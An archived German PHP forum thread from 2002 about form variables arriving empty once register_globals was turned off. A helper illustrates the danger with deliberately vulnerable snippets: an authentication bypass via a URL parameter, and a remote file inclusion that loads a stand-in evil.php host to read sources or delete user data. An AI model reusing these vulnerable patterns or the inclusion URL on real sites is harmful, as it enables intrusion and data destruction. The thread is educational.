PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : variablen-übergabe funzt irgendwie nicht


maddin
28.08.2002, 13:07:22
Hallo zusammen!

Also so langsam bin ich am ausflippen.
Habe jetzt schon wirklich einiges ausprobiert und auch jede menge beispiele nachgetippt. aber irgendwie will die variablenübergabe bei mir nicht funktionieren!

zum beispiel aus dem php-center-tut:

datei test.php:

<FORM ACTION="tuwas.php" METHOD=POST>
<INPUT NAME="beliebigername">
<INPUT TYPE="submit">
</FORM>


datei tuwas.php:

<?
echo "Sie haben $beliebigername eingegeben. ";
?>


Ausgabe bei mir:

Sie haben eingegeben.

Hab IE6, PHP4.2.2, apache 1.3.24
gibts da vielleicht noch irgendwelche einstellungen in php die ich beachten muss?
bei bedarf kann ich ja mal die komplette phpinfo posten.

vielen dank im voraus!

EDIT: METHOD="post" hab ich auch grad nochmal probiert. geht auch nicht.

SPiC
28.08.2002, 13:14:20
Ist ganz einfach:

Das neue Sicherheitsmodell von PHP registriert Variablen nicht mehr automatisch.

Du kannst die variablen folgendermaßen ansprechen

$_POST["beliebigername"] -> Per POST übermittelt
$_GET["beliebigername"] -> Per GET übermittelt
$_COOKIE["beliebigername"] -> Per Cockie übermittelt
$_REQUEST["beliebigername"] -> Per GET/POST/COOKIE übermittelt, wobei der GET-Wert mit dem POST-Wert überschrieben wird, und der POST mit dem COOKIE (falls vorhanden...)


<?
echo "Sie haben". $_POST["beliebigername"] ."eingegeben. ";
?>


oder


<?
echo "Sie haben". $_REQUEST["beliebigername"] ."eingegeben. ";
?>


Es geht natürlich auch über
import_request_variables
http://www.php.net/manual/de/function.import-request-variables.php

maddin
28.08.2002, 14:50:15
Ja, jetzt ist's wirklich ganz einfach.

Hätt ich wohl vorher mal die neuesten mans durchlesen sollen.

VIELEN DANK!!!

maddin

SPiC
28.08.2002, 15:50:28
Genau...RTFM *g*

maddin
28.08.2002, 15:55:23
*beschämtkuck* ;)

c4
28.08.2002, 21:48:18
Original geschrieben von SPiC
Das neue Sicherheitsmodell von PHP registriert Variablen nicht mehr automatisch.

Wie jetzt? Ich MUSS demnächst JEDE Variable mit $_POST["huestel"] (o.ä.) ansprechen? Ab wann wird das denn ein Muss sein? Und was ist daran sicherer?

Komm mir bitte nicht mit RTFM - danke.



Okay, ich gebe mich schon mit Links zum Thema zufrieden.

SPiC
28.08.2002, 22:06:24
RTFM hatte ein gaaaaanz dickes *G* dahinter...

Also, eigentlich musst Du schon jetzt überall diese neue Schematik anwenden.

Zum Glück gibt es aber auch import_request_variables

// Importieren von Get/Post/Cookie-Variablen
// Es wird uservar_ vorangestellt...
import_request_variables("gpc", "uservar_");

echo $user_foo;


So kannst Du einfach im HTML z.B. <INPUT TYPE="TEXT" NAME="test"> einfügen und in PHP mit $uservar_test darauf zugreifen (Kannst natürlich statt uservar_ auch sonstwar als Präfix einstellen)...
Mit dieser Methode ist es jedenfalls nicht mehr möglich interne Variablen per URL (test.php?geheimevariable=irgendwas) zu ändern.

Warum das sicherer ist? Stell dir mal folgendes Script vor:


// Okay, so sollte man eh kein Script schreiben,
// aber hier ist das Sicherheitsloch offensichtlich

if($user=="foo"&&$pass=="geheim")
{
$logged_in="yes";
};

if(!$logged_in=="yes")
{
echo "Geheime Funktion");
}


Wenn man dieses Script per script.php?logged_in=yes aufrufen würde, könnte man ohne Passwort auf die Geheime Funktion zugreifen...
Mit import_request_variables oder $_REQUEST["irgendwas"] (Request ist besser, weil dort $_GET, $_POST, $_COOKIE "integriert" ist...) kann soetwas nicht passieren, weil Du niemals die Variable $logged_in von außen ändern kannst.

Ist klar, oder nicht?

=:-) Sebastian

c4
28.08.2002, 22:09:06
Danke.

Sehr gutes Beispiel, aber wie Du schon geschrieben hast - 'so sollte man eh kein Script schreiben'... ;)

SPiC
28.08.2002, 22:09:49
Ach ja, der Sicherheitsmechanismus lässt sich auch mit

import_request_variables("gpc","");

komplett umgehen, so hat man wieder das alte Verhalten...

ICH EMPFEHLE DAS JEDOCH AUF GAR KEINEN FALL!!! NICHT UMSONST HAT MAN DAS GEÄNDERT!!!
(Nein, meine Shift-Taste klemmt nicht *g*)

=:-) Sebastian

SPiC
28.08.2002, 22:17:27
Okay, mir is gerade noch was eingefallen

Hier noch eine Sicherheitslücke
cms.php

include($pageid);


Jetzt mit cms.php?pageid=http://www.meinedomain.de/evil.php aufrufen, und schon kann ich mir z.B. die PHP-Sourcen anzeigen lassen (z.B. mit file() ). Wenn ich die ersteinmal kenne, kann ich so ziemlich alles mit dem Webspace machen, ohne dass man auch nur die geringste Ahnung hat, wie es dazu kommen konnte...

Wobei eigentlich brauche ich dazu nicht mal am Server ändern, sondern kann einfach in die evil.php z.B. unlink("/www/userdaten"); schreiben...

c4
28.08.2002, 22:20:13
Sind wirklich schlagkräfige Argumente - werde mich also dann mal an das Manual machen, damit ich weiß, was man so alles machen kann. Im Großen und Ganzen dürfte es bei meinen Websites aber noch keine Probleme geben.

SPiC
28.08.2002, 22:24:15
Also ich würde import_requested_variables machen... Geht am Einfachsten und ist am Übersichtlichsten

Ben20
29.08.2002, 16:52:25
$_POST, $_GET und $_COOKIE ist mir klar. Aber was ist $_REQUEST - die Obermenge von den andren Drei?

FloRos
29.08.2002, 17:10:15
<FORM ACTION="tuwas.php" METHOD=POST>
<INPUT NAME="beliebigername">
<INPUT TYPE="submit">
</FORM>

schreib Maddin

kann es sein das du das "Value" Attribut vergessen hast also:


....
<input type="TEXT" name="beliebigername" value="Florian">
<input .....

SPiC
29.08.2002, 17:15:03
Nein, value ist nur zur Voreinstellung eines Wertes bzw. zur Zuweisung eines Wertes zu einem Hidden-Field

<input type="text" name="text1" value="Hallo Welt">

Schreibt von vornherein Hallo Welt in die Textbox.


<input type="text" name="text1">

Lässt die Box leer.

=:-) Sebastian